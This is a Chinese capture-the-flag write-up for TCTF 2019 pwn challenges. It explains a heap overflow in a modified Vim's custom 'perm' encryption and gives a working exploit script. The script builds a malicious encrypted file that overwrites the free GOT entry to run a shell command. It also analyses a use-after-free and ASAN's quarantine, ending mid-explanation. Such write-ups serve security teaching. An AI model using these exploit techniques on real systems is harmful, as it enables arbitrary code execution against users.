TCTF 2019 PWN

第一天被llvm卡住了,没搜到源码,理不清内存分配机制,但是利用上只差一步,心态崩了,导致比赛周末只看了两道pwn,星期一上午临时又看了几个发现有的并不是太难,可惜没时间了
感受到做题顺序、查找能力、快速学习的重要性

1
2
3
If on a winters night a traveler: VIM自定义加密方式漏洞及利用
babyaegis: LLVM ASAN保护及内存机制分析&&绕过利用
Zerotask: 条件竞争+AES加密下溢出的明文构造

If on a winters night a traveler

Analyze Vim

题目提供了一个vim可执行程序、服务端的运行脚本以及此vim源码与原vim源码的diff比较,可以看到主要是在源码中加入了新的加解密方法crypt_perm.c
看到其在crypt.c中新定义了一种method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+    /* Permutation; very very weak */
+ {
+ "perm",
+ "VimCrypt~04!",
+ 0,
+ 0,
+ FALSE,
+ FALSE,
+ NULL,
+ crypt_perm_init,
+ crypt_perm_encode, crypt_perm_decode,
+ NULL, NULL,
+ crypt_perm_encode, crypt_perm_decode,
+ },

以及更改了crypt获得key的方式:

1
2
3
4
5
6
7
8
-	p1 = getcmdline_prompt(NUL, round == 0
- ? (char_u *)_("Enter encryption key: ")
- : (char_u *)_("Enter same key again: "), 0, EXPAND_NOTHING,
- NULL);
+ // to avoid interactive step, without loss of generality
+ p1 = alloc(8);
+ p1[0] = 'a';
+ p1[1] = NUL;

在crypt.c中cryptmethod_T定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
typedef struct {
char *name; /* encryption name as used in 'cryptmethod' */
char *magic; /* magic bytes stored in file header */
int salt_len; /* length of salt, or 0 when not using salt */
int seed_len; /* length of seed, or 0 when not using salt */
#ifdef CRYPT_NOT_INPLACE
int works_inplace; /* encryption/decryption can be done in-place */
#endif
int whole_undofile; /* whole undo file is encrypted */

/* Optional function pointer for a self-test. */
int (* self_test_fn)();

// Function pointer for initializing encryption/description.
void (* init_fn)(cryptstate_T *state, char_u *key,
char_u *salt, int salt_len, char_u *seed, int seed_len);

/* Function pointers for encoding/decoding from one buffer into another.
* Optional, however, these or the _buffer ones should be configured. */
void (*encode_fn)(cryptstate_T *state, char_u *from, size_t len,
char_u *to);
void (*decode_fn)(cryptstate_T *state, char_u *from, size_t len,
char_u *to);

/* Function pointers for encoding and decoding, can buffer data if needed.
* Optional (however, these or the above should be configured). */
long (*encode_buffer_fn)(cryptstate_T *state, char_u *from, size_t len,
char_u **newptr);
long (*decode_buffer_fn)(cryptstate_T *state, char_u *from, size_t len,
char_u **newptr);

/* Function pointers for in-place encoding and decoding, used for
* crypt_*_inplace(). "from" and "to" arguments will be equal.
* These may be the same as decode_fn and encode_fn above, however an
* algorithm may implement them in a way that is not interchangeable with
* the crypt_(en|de)code() interface (for example because it wishes to add
* padding to files).
* This method is used for swap and undo files which have a rigid format.
*/
void (*encode_inplace_fn)(cryptstate_T *state, char_u *p1, size_t len,
char_u *p2);
void (*decode_inplace_fn)(cryptstate_T *state, char_u *p1, size_t len,
char_u *p2);
} cryptmethod_T;

即当我们set cm=perm,vim会调用crypt_perm_encode加密文件
当打开文件头为”VimCrypt~04!”的文件时,会由crypt_perm_decode解密文件
其中在crypt_perm.c实现crypt_perm_init,crypt_perm_encode,crypt_perm_decode:
首先是其定义的cryptstate_T:

1
2
3
4
5
6
7
8
9
+typedef struct {
+ int key;
+ int shift;
+ int step;
+ int orig_size;
+ int size;
+ int cur_idx;
+ char_u *buffer;
+} perm_state_T;

主要看一下加解密过程(the analyze is in my notes):
crypt_perm_encode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
+    void
+crypt_perm_encode(
+ cryptstate_T *state,
+ char_u *from,
+ size_t len,
+ char_u *to)
+{
+ perm_state_T *ps = state->method_state;
+ size_t i;
+
+ /*
+ * A dirty way to introduce IV: using the first 4 bytes and keeping them unchanged
+ */
+ if (len<=4)//len<=4,there is nothing to change
+ {
+ for (i = 0; i < len; ++i)
+ to[i] = from[i];
+ return;
+ }
+
+ unsigned int iv;
+
+ for (i = 0; i < 4; ++i)
+ {
+ to[i] = from[i];
+ iv = (iv<<8) + from[i];//first 4 bytes->iv
+ }
+ ps->orig_size = len-4;//delete len(iv)
+ ps->size = ps->orig_size;
+ /* We need a prime order for reversibility */
+ while (!is_prime(ps->size))//make size be prime
+ ps->size++;
+
+ ps->shift = ps->key % (len-4);//0x61%(len-4)
+ if (ps->shift > 0)
+ ps->buffer = alloc(ps->shift);
+ /* Xor with iv so that we have different value for addition and multiplication */
+ ps->step = ps->key ^ iv;
+ /* Do not forget the corner case */
+ if (ps->step % ps->size == 0)
+ ps->step++;
+ ps->cur_idx = 0;
+
+ /* Step 1: Addition */
+ for (i = 0; i < ps->shift; ++i)
+ ps->buffer[i] = from[len-ps->shift+i];//buf[0 to shift-1] = len-shift to len-1
+ for (i = len-1; i >= 4+ps->shift; --i)
+ from[i] = from[i-ps->shift];//len-1 to shift+4 = len-shift-1 to 4
+ for (i = 0; i < ps->shift; ++i)
+ from[i+4] = ps->buffer[i];// 4 to shift+4 = buf[0 to shift-1]
+ //final : left+right(shift)->right(shift)+left
+ /* Step 2: Multiplication */
+ i = 4;
+ while (i < len)
+ {
+ if (ps->cur_idx < ps->orig_size)
+ {
+ to[i] = from[ps->cur_idx+4];
+ i++;
+ }
+ ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;//step by step
+ }
+
+ /* We should recover the "from" array */
+ for (i = 0; i < ps->shift; ++i)
+ ps->buffer[i] = from[i+4];
+ for (i = 4+ps->shift; i < len; ++i)
+ from[i-ps->shift] = from[i];
+ for (i = 0; i < ps->shift; ++i)
+ from[len-ps->shift+i] = ps->buffer[i];//let right(shift) to left
+
+ if (ps->shift > 0)
+ vim_free(ps->buffer);
+}

主要过程:

1
2
3
4
5
6
7
8
根据前4字节设置iv
而后ps->shift = ps->key % (len-4);//0x61%(len-4)
shift为加密过程中前后buf用于交换的长度
并由ps->step = ps->key ^ iv生成第二步加密时的step
而后加密,两个操作:
前后交换:left+right(shift)->right(shift)+left
step寻址:ps->cur_idx = (ps->cur_idx+ps->step)%ps->size,每一次对应位置的from组成最后的密文
最终恢复from

解密过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
+    void
+crypt_perm_decode(
+ cryptstate_T *state,
+ char_u *from,
+ size_t len,
+ char_u *to)
+{
+ perm_state_T *ps = state->method_state;
+ size_t i;
+
+ if (len<=4)
+ {
+ for (i = 0; i < len; ++i)
+ to[i] = from[i];
+ return;
+ }
+
+ unsigned int iv; //first 4 bytes
+ for (i = 0; i < 4; ++i)
+ {
+ to[i] = from[i];
+ iv = (iv<<8) + from[i];
+ }
+ ps->orig_size = len-4;
+ ps->size = ps->orig_size;
+ while (!is_prime(ps->size))
+ ps->size++;
+
+ ps->shift = ps->key % (len-4);
+ if (ps->shift > 0)
+ ps->buffer = alloc(ps->shift);
+ ps->step = ps->key ^ iv;
+ if (ps->step % ps->size == 0)
+ ps->step++;
+ ps->cur_idx = 0;
+
+ /* Step 1: Inverse of Multiplication */
+ i = 4;
+ while (i < len)
+ {
+ if (ps->cur_idx < ps->orig_size)
+ {
+ to[ps->cur_idx+4] = from[i];
+ i++;
+ }
+ ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;
+ }
+
+ /* Step 2: Inverse of Addition */
+ for (i = 0; i < ps->shift; ++i)
+ ps->buffer[i] = to[i+4];
+ for (i = 4+ps->shift; i < len; ++i)
+ to[i-ps->shift] = to[i];
+ for (i = 0; i < ps->shift; ++i)
+ to[len-ps->shift+i] = ps->buffer[i];
+
+ if (ps->shift > 0)
+ vim_free(ps->buffer);
+}

很显然就是简单的加密的逆过程

Analyze Overflow

很容易注意到:step为int类型,且因为key已知,而iv为前4字节可控,step即可控,将step设置为负数即可造成溢出
在service下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def main():
try:
size = int(sys.stdin.readline())
except:
return
if size > 1000000:
return
exp = sys.stdin.read(size)
f = tempfile.NamedTemporaryFile(prefix='',delete=False)
f.write(exp)
f.close()

os.system('echo ":q" | /home/calvino/vim --clean %s' % f.name)
sys.stdout.write('looks good\n')

os.unlink(f.name)

可以看到服务端最终操作为:

1
os.system('echo ":q" | /home/calvino/vim --clean %s' % f.name)

因此我们主要利用的是crypt_perm_decode:

1
to[ps->cur_idx+4] = from[i]

我们可以利用溢出修改to空间附近的数据
跟踪在decode过程中的程序流:
首先调用crypt_create:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
crypt_create(
int method_nr,
char_u *key,
char_u *salt,
int salt_len,
char_u *seed,
int seed_len)
{
cryptstate_T *state = (cryptstate_T *)alloc((int)sizeof(cryptstate_T));

state->method_nr = method_nr;
cryptmethods[method_nr].init_fn(state, key, salt, salt_len, seed, seed_len);
return state;
}

其中根据文件头”VimCrypt~04!”调用crypt_perm_init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+crypt_perm_init(
+ cryptstate_T *state,
+ char_u *key,
+ char_u *salt UNUSED,
+ int salt_len UNUSED,
+ char_u *seed UNUSED,
+ int seed_len UNUSED)
+{
+ char_u *p;
+ perm_state_T *ps;
+
+ ps = (perm_state_T *)alloc(sizeof(perm_state_T));
+ ps->key = 0;
+ state->method_state = ps;
+
+ for (p = key; *p != NUL; ++p)
+ {
+ ps->key = 131*ps->key + *p;
+ }
+}

紧接着调用crypt_set_cm_option和crypt_get_header_len…..设置cm参数和获得magic文件头长度以及一些运行环境init
下面关键调用crypt_decode_alloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
crypt_decode_alloc(
cryptstate_T *state,
char_u *ptr,
long len,
char_u **newptr)
{
cryptmethod_T *method = &cryptmethods[state->method_nr];

if (method->decode_buffer_fn != NULL)
/* Has buffer function, pass through. */
return method->decode_buffer_fn(state, ptr, len, newptr);

if (len == 0)
/* Not buffering, just return EOF. */
return len;

*newptr = alloc(len);
if (*newptr == NULL)
return -1;
method->decode_fn(state, ptr, len, *newptr);
return len;
}

关键部分:

1
2
3
4
5
*newptr = alloc(len);
if (*newptr == NULL)
return -1;
method->decode_fn(state, ptr, len, *newptr);
return len;

newptr即为加解密开辟的空间to,这里注意alloc在内部实现,并不是在栈内开辟空间,最终调用的依然是malloc,在*newptr = alloc(len)时下断点查看堆空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x90f570 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x90f5a0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 43617,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

可以看到topchunk前最后一个chunk为crypt_perm_init中分配的:

1
ps = (perm_state_T *)alloc(sizeof(perm_state_T))

根据crypt_decode_alloc,如果我们将to分配到此perm_state_T后的临近位置,即可构造step为负数溢出修改此结构体
因为perm_state_T下即为topchunk,所以只要请求一个bins中没有的chunk大小即可将to分配到topchunk,即perm_state_T临近位置
动态调试在此刻查看bins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> bins
tcachebins
0x40 [ 1]: 0x90f310 ◂— 0x0
0x80 [ 1]: 0x8f9fb0 ◂— 0x0
0xf0 [ 1]: 0x8ec260 ◂— 0x0
0x1d0 [ 1]: 0x8ed490 ◂— 0x0
0x1f0 [ 1]: 0x8e7bb0 ◂— 0x0
0x200 [ 1]: 0x8e7dc0 ◂— 0x0
0x230 [ 1]: 0x8e6290 ◂— 0x0
0x240 [ 1]: 0x8ebfa0 ◂— 0x0
0x270 [ 1]: 0x8e4cf0 ◂— 0x0
0x2b0 [ 1]: 0x8ed740 ◂— 0x0
0x300 [ 1]: 0x8e5690 ◂— 0x0
0x370 [ 1]: 0x8ec740 ◂— 0x0
0x390 [ 1]: 0x8f8b40 ◂— 0x0
0x3d0 [ 1]: 0x8eb770 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

所以只要构造file大小,请求一个bins中没有的chunk大小即可(请求大小为file总长度减去magic文件头的长度)
这时候溢出修改perm_state_T的buffer和cur_idx,即可在后面的:

1
2
+    for (i = 0; i < ps->shift; ++i)
+ ps->buffer[i] = to[i+4];

造成任意地址写

Analyze EXP

首先程序保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

没有开启pie,通过strings ./vim|grep /bin/sh看到程序存在后门:

1
2
3
4
5
6
7
.text:00000000004C915D                 mov     r8d, 0
.text:00000000004C9163 mov rcx, rax
.text:00000000004C9166 lea rdx, aC_2 ; "-c"
.text:00000000004C916D lea rsi, arg ; "sh"
.text:00000000004C9174 lea rdi, path ; "/bin/sh"
.text:00000000004C917B mov eax, 0
.text:00000000004C9180 call _execl

因此我们可以修改got表,在传参时将*rax设置为要执行的命令即可
看到decode最后会:

1
2
3
.text:0000000000414A1A                 mov     rax, [rax+18h]
.text:0000000000414A1E mov rdi, rax
.text:0000000000414A21 call vim_free

此时rax即为我们溢出伪造的buffer位置,完全可控
而vim_free:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00000000004F7808                 push    rbp
.text:00000000004F7809 mov rbp, rsp
.text:00000000004F780C sub rsp, 10h
.text:00000000004F7810 mov [rbp+ptr], rdi
.text:00000000004F7814 cmp [rbp+ptr], 0
.text:00000000004F7819 jz short loc_4F7831
.text:00000000004F781B mov eax, cs:really_exiting
.text:00000000004F7821 test eax, eax
.text:00000000004F7823 jnz short loc_4F7831
.text:00000000004F7825 mov rax, [rbp+ptr]
.text:00000000004F7829 mov rdi, rax ; ptr
.text:00000000004F782C call _free

最终会调用_free,且rax依然为buffer位置,因此我们修改GOT[‘free’],并最后写入一串命令,即可调用execl(“/bin/sh”, “sh”, “-c”, *buffer, 0LL)造成任意命令执行

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

def get_payload():
final_size=0xc+0x48#len(magic)+len(date)
payload="VimCrypt~04!"#magic
payload+=p32(0xffffffff^0x61)[::-1]#fake_iv->step=-1
payload+='a'*0x15
payload+=p64(0x8A8238-16)[::-1]#cmd+GOT['free']
payload+='\x37'#(ps->cur_idx+ps->step)%ps->size=0x37ffffe2%0x47=0x17
#buffer[0]~buffer[0x17]=cmd+shell_execl_addr
payload+=p64(0x4C915d)[::-1]#shell->execl
payload+='cat ./flag'.ljust(0x10,"\x00")[::-1]#shell
payload=payload.ljust(final_size,"\x00")
return payload

if __name__=="__main__":
exp=get_payload()
with open("./kirin.exp","wb+") as f:
f.write(exp)

babyaegis

Analyze UAF&&Overflow

首先程序漏洞:
delete_note时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 delete_note()
{
unsigned __int64 v0; // rdi
unsigned __int64 v1; // rdi
unsigned __int64 v2; // rdi
unsigned __int64 v3; // rdi
signed int v5; // [rsp+14h] [rbp-Ch]

v0 = (unsigned __int64)"Index: ";
printf((unsigned __int64)"Index: ");
v5 = read_int("Index: ");
if ( v5 < 0 || v5 >= 10 )
goto LABEL_16;
v0 = (unsigned __int64)&notes[v5];
if ( *(_BYTE *)((v0 >> 3) + 0x7FFF8000) )
_asan_report_load8(v0);
if ( !*(_QWORD *)v0 )
LABEL_16:
error(v0);
v1 = (unsigned __int64)&notes[v5];
if ( *(_BYTE *)((v1 >> 3) + 0x7FFF8000) )
_asan_report_load8(v1);
v2 = *(_QWORD *)v1;
if ( *(_BYTE *)((v2 >> 3) + 0x7FFF8000) )
_asan_report_load8(v2);
free(*(__sanitizer **)v2);
v3 = (unsigned __int64)&notes[v5];
if ( *(_BYTE *)((v3 >> 3) + 0x7FFF8000) )
_asan_report_load8(v3);
free(*(__sanitizer **)v3);
puts("Delete success!");
return __readfsqword(0x28u);
}

free后未将指针置0,存在uaf
update_note时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
unsigned __int64 update_note()
{
unsigned __int64 v0; // rdi
unsigned __int64 v1; // rdi
__int64 v2; // rbx
__int64 v3; // rsi
__int64 v4; // rax
unsigned __int64 v5; // rdi
__int64 (__fastcall **v6)(); // rdi
__int64 (__fastcall *v7)(); // rbx
unsigned __int64 v9; // [rsp+8h] [rbp-28h]
int v10; // [rsp+18h] [rbp-18h]
signed int v11; // [rsp+1Ch] [rbp-14h]

v0 = (unsigned __int64)"Index: ";
printf((unsigned __int64)"Index: ");
v11 = read_int("Index: ");
if ( v11 < 0 || v11 >= 10 )
goto LABEL_29;
v0 = (unsigned __int64)&notes[v11];
if ( *(_BYTE *)((v0 >> 3) + 0x7FFF8000) )
_asan_report_load8(v0);
if ( !*(_QWORD *)v0 )
LABEL_29:
error(v0);
v1 = (unsigned __int64)&notes[v11];
if ( *(_BYTE *)((v1 >> 3) + 0x7FFF8000) )
_asan_report_load8(v1);
v9 = *(_QWORD *)v1;
printf((unsigned __int64)"New Content: ");
if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
_asan_report_load8(v9);
v2 = *(_QWORD *)v9;
if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
_asan_report_load8(v9);
v3 = strlen(*(_QWORD *)v9) + 1;
v10 = read_until_nl_or_max(v2, v3);
printf((unsigned __int64)"New ID: ");
v4 = read_ul("New ID: ");
if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
v4 = _asan_report_load8(v9);
v5 = v10 + *(_QWORD *)v9;
if ( *(_BYTE *)((v5 >> 3) + 0x7FFF8000) )
v4 = _asan_report_store8(v5);
*(_QWORD *)v5 = v4;
v6 = (__int64 (__fastcall **)())(v9 + 8);
if ( *(_BYTE *)(((v9 + 8) >> 3) + 0x7FFF8000) )
_asan_report_load8((unsigned __int64)v6);
v7 = *v6;
if ( *v6 != cfi_check )
{
_asan_handle_no_return(v6);
_ubsan_handle_cfi_check_fail_abort(&unk_55555589F100, v7);
}
((void (__fastcall *)(_QWORD, __int64))v7)((unsigned int)v11, v3);
puts("Update success!");
if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
_asan_report_load8(v9);
if ( *(_QWORD *)v9 >> 44 != 6LL )
error(v9);
return __readfsqword(0x28u);
}

其根据strlen(note)作为长度依据读入新字符
当note与id相接,便会造成溢出,溢出时note再次与id相接,便会溢出更多字节

Analyze LLVM

程序采用llvm检测内存漏洞
大致原理:每8字节对应一个标志位,记录当前位置的状态(可读、可写、是否free……),对于一个位置mem,其对应标志位:

1
shadow=(mem_addr>>3)+0x7FFF8000

其检测溢出的原理即是在一段可写内存两端记录一个不可写的redzone位,并在每次读写时都会检测当前位置对应的标志位shadow
但是看到update写入id的过程:

1
2
3
4
v5 = v10 + *(_QWORD *)v9;
if ( *(_BYTE *)((v5 >> 3) + 0x7FFF8000) )
v4 = _asan_report_store8(v5);
*(_QWORD *)v5 = v4;

其检测了*(_BYTE *)v5位置,但是id为__int64,很明显可以在shadow不可写位置写入<8字节的一个数
下面主要注意到asan对堆进行free的过程,源码位置

1
https://github.com/llvm-mirror/compiler-rt/blob/master/lib/asan/asan_allocator.cc

function Deallocate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void Deallocate(void *ptr, uptr delete_size, uptr delete_alignment,
BufferedStackTrace *stack, AllocType alloc_type) {
uptr p = reinterpret_cast<uptr>(ptr);
if (p == 0) return;

uptr chunk_beg = p - kChunkHeaderSize;

AsanChunk *m = reinterpret_cast<AsanChunk *>(chunk_beg);

// On Windows, uninstrumented DLLs may allocate memory before ASan hooks
// malloc. Don't report an invalid free in this case.
if (SANITIZER_WINDOWS &&
!get_allocator().PointerIsMine(ptr)) {
if (!IsSystemHeapAddress(p))
ReportFreeNotMalloced(p, stack);
return;
}

ASAN_FREE_HOOK(ptr);

// Must mark the chunk as quarantined before any changes to its metadata.
// Do not quarantine given chunk if we failed to set CHUNK_QUARANTINE flag.
if (!AtomicallySetQuarantineFlagIfAllocated(m, ptr, stack)) return;

if (m->alloc_type != alloc_type) {
if (atomic_load(&alloc_dealloc_mismatch, memory_order_acquire)) {
ReportAllocTypeMismatch((uptr)ptr, stack, (AllocType)m->alloc_type,
(AllocType)alloc_type);
}
} else {
if (flags()->new_delete_type_mismatch &&
(alloc_type == FROM_NEW || alloc_type == FROM_NEW_BR) &&
((delete_size && delete_size != m->UsedSize()) ||
ComputeUserRequestedAlignmentLog(delete_alignment) !=
m->user_requested_alignment_log)) {
ReportNewDeleteTypeMismatch(p, delete_size, delete_alignment, stack);
}
}

QuarantineChunk(m, ptr, stack);
}

首先是一些对释放位置的redzone位置的检测,如果redzone前八字节对应检测的一些位置被覆盖改变,便会报错:

1
2
3
4
ReportFreeNotMalloced(p, stack);
ReportAllocTypeMismatch((uptr)ptr, stack, (AllocType)m->alloc_type,
(AllocType)alloc_type);
ReportNewDeleteTypeMismatch(p, delete_size, delete_alignment, stack);

一切检测过后,会将此位置传入一个队列处理函数QuarantineChunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// Expects the chunk to already be marked as quarantined by using
// AtomicallySetQuarantineFlagIfAllocated.
void QuarantineChunk(AsanChunk *m, void *ptr, BufferedStackTrace *stack) {
CHECK_EQ(m->chunk_state, CHUNK_QUARANTINE);
CHECK_GE(m->alloc_tid, 0);
if (SANITIZER_WORDSIZE == 64) // On 32-bits this resides in user area.
CHECK_EQ(m->free_tid, kInvalidTid);
AsanThread *t = GetCurrentThread();
m->free_tid = t ? t->tid() : 0;
m->free_context_id = StackDepotPut(*stack);

Flags &fl = *flags();
if (fl.max_free_fill_size > 0) {
// We have to skip the chunk header, it contains free_context_id.
uptr scribble_start = (uptr)m + kChunkHeaderSize + kChunkHeader2Size;
if (m->UsedSize() >= kChunkHeader2Size) { // Skip Header2 in user area.
uptr size_to_fill = m->UsedSize() - kChunkHeader2Size;
size_to_fill = Min(size_to_fill, (uptr)fl.max_free_fill_size);
REAL(memset)((void *)scribble_start, fl.free_fill_byte, size_to_fill);
}
}

// Poison the region.
PoisonShadow(m->Beg(),
RoundUpTo(m->UsedSize(), SHADOW_GRANULARITY),
kAsanHeapFreeMagic);

AsanStats &thread_stats = GetCurrentThreadStats();
thread_stats.frees++;
thread_stats.freed += m->UsedSize();

// Push into quarantine.
if (t) {
AsanThreadLocalMallocStorage *ms = &t->malloc_storage();
AllocatorCache *ac = GetAllocatorCache(ms);
quarantine.Put(GetQuarantineCache(ms), QuarantineCallback(ac, stack), m,
m->UsedSize());
} else {
SpinMutexLock l(&fallback_mutex);
AllocatorCache *ac = &fallback_allocator_cache;
quarantine.Put(&fallback_quarantine_cache, QuarantineCallback(ac, stack),
m, m->UsedSize());
}
}

主要看到其处理过程,依然是进行一些检测并获得当前线程的一些内存信息,例如:

1
2
thread_stats.frees++;   #已释放chunk数
thread_stats.freed += m->UsedSize(); #已释放内存大小

最后将即将释放的chunk传入quarantine.Put:

1
2
3
4
5
6
7
8
9
10
11
12
void Put(Cache *c, Callback cb, Node *ptr, uptr size) {
uptr cache_size = GetCacheSize();
if (cache_size) {
c->Enqueue(cb, ptr, size);
} else {
// GetCacheSize() == 0 only when GetSize() == 0 (see Init).
cb.Recycle(ptr);
}
// Check cache size anyway to accommodate for runtime cache_size change.
if (c->Size() > cache_size)
Drain(c, cb);
}

此时通过动态调试看的更加清晰:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
LABEL_30:
if ( v24 < *(_QWORD *)(v12 + 0x78) )
__sanitizer::Quarantine<__asan::QuarantineCallback,__asan::AsanChunk>::Drain(&unk_555555A9F3F8, v12 + 96, v47);
return;
}
if ( *(_QWORD *)(v12 + 0x60) )
{
v25 = *(_QWORD *)(v12 + 112);
v26 = *(const char **)(v25 + 16);
if ( v26 != (const char *)&MEMORY[0x3FD] )
{
if ( (unsigned __int64)v26 > 0x3FC )
__sanitizer::CheckFailed(
(__sanitizer *)"/build/llvm-toolchain-6.0-QjOn7h/llvm-toolchain-6.0-6.0/projects/compiler-rt/lib/asan/../sani"
"tizer_common/sanitizer_quarantine.h",
&MEMORY[0x2F],
(unsigned __int64)"((count)) < ((kSize))",
v26,
0x3FDuLL,
v20);
*(_QWORD *)(v25 + 16) = v26 + 1;
*(_QWORD *)(v25 + 8LL * (_QWORD)v26 + 24) = v3;
*(_QWORD *)(v25 + 8) += v23;
*(_QWORD *)(v12 + 0x78) += v23;
goto LABEL_30;

内存中会事先开辟一个地方储存队列(addr_init=0x640000000000),此队列偏移0x10位置为已释放chunk数目,从此位置到队列结尾保存已释放chunk指针,队列偏移8字节位置储存已释放的内存大小,而v12+0x78即为上面提到的thread_stats.freed += m->UsedSize()
存入队列后会进入判断:

1
2
3
4
LABEL_30:
if ( v24 < *(_QWORD *)(v12 + 0x78) ) __sanitizer::Quarantine<__asan::QuarantineCallback,__asan::AsanChunk>::Drain(&unk_555555A9F3F8, v12 + 96, v47);
return;
}

对应put源码位置:

1
2
if (c->Size() > cache_size)
Drain(c, cb);

cache_size在程序bss段,动态调试看到为:

1
<_ZN6__asanL8instanceE+2097896>:	0x0000000000100000

当目前已free内存达到cache_size,即会调用Drain:

1
2
3
4
5
6
7
8
void NOINLINE Drain(Cache *c, Callback cb) {
{
SpinMutexLock l(&cache_mutex_);
cache_.Transfer(c);
}
if (cache_.Size() > GetSize() && recycle_mutex_.TryLock())
Recycle(atomic_load_relaxed(&min_size_), cb);
}

注意到最后一步Recycle(atomic_load_relaxed(&min_size_), cb);:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void NOINLINE Recycle(uptr min_size, Callback cb) {
Cache tmp;
{
SpinMutexLock l(&cache_mutex_);
// Go over the batches and merge partially filled ones to
// save some memory, otherwise batches themselves (since the memory used
// by them is counted against quarantine limit) can overcome the actual
// user's quarantined chunks, which diminishes the purpose of the
// quarantine.
uptr cache_size = cache_.Size();
uptr overhead_size = cache_.OverheadSize();
CHECK_GE(cache_size, overhead_size);
// Do the merge only when overhead exceeds this predefined limit (might
// require some tuning). It saves us merge attempt when the batch list
// quarantine is unlikely to contain batches suitable for merge.
const uptr kOverheadThresholdPercents = 100;
if (cache_size > overhead_size &&
overhead_size * (100 + kOverheadThresholdPercents) >
cache_size * kOverheadThresholdPercents) {
cache_.MergeBatches(&tmp);
}
// Extract enough chunks from the quarantine to get below the max
// quarantine size and leave some leeway for the newly quarantined chunks.
while (cache_.Size() > min_size) {
tmp.EnqueueBatch(cache_.DequeueBatch());
}
}
recycle_mutex_.Unlock();
DoRecycle(&tmp, cb);
}

继续追踪 DoRecycle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  void NOINLINE DoRecycle(Cache *c, Callback cb) {
while (QuarantineBatch *b = c->DequeueBatch()) {
const uptr kPrefetch = 16;
CHECK(kPrefetch <= ARRAY_SIZE(b->batch));
for (uptr i = 0; i < kPrefetch; i++)
PREFETCH(b->batch[i]);
for (uptr i = 0, count = b->count; i < count; i++) {
if (i + kPrefetch < count)
PREFETCH(b->batch[i + kPrefetch]);
cb.Recycle((Node*)b->batch[i]);
}
cb.Deallocate(b);
}
}
};

其实关键部分在这里,这里会不断循环队列里已经free的chunk,进入asan_allocator下的Recycle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void Recycle(AsanChunk *m) {
CHECK_EQ(m->chunk_state, CHUNK_QUARANTINE);
atomic_store((atomic_uint8_t*)m, CHUNK_AVAILABLE, memory_order_relaxed);
CHECK_NE(m->alloc_tid, kInvalidTid);
CHECK_NE(m->free_tid, kInvalidTid);
PoisonShadow(m->Beg(),
RoundUpTo(m->UsedSize(), SHADOW_GRANULARITY),
kAsanHeapLeftRedzoneMagic);
void *p = reinterpret_cast<void *>(m->AllocBeg());
if (p != m) {
uptr *alloc_magic = reinterpret_cast<uptr *>(p);
CHECK_EQ(alloc_magic[0], kAllocBegMagic);
// Clear the magic value, as allocator internals may overwrite the
// contents of deallocated chunk, confusing GetAsanChunk lookup.
alloc_magic[0] = 0;
CHECK_EQ(alloc_magic[1], reinterpret_cast<uptr>(m));
}

// Statistics.
AsanStats &thread_stats = GetCurrentThreadStats();
thread_stats.real_frees++;
thread_stats.really_freed += m->UsedSize();

get_allocator().Deallocate(cache_, p);
}

看到其关键步骤是将此chunk标志为CHUNK_AVAILABLE,以及更改对应标志位shadow(0xfa),补充一下:

1
2
3
4
5
6
7
8
9
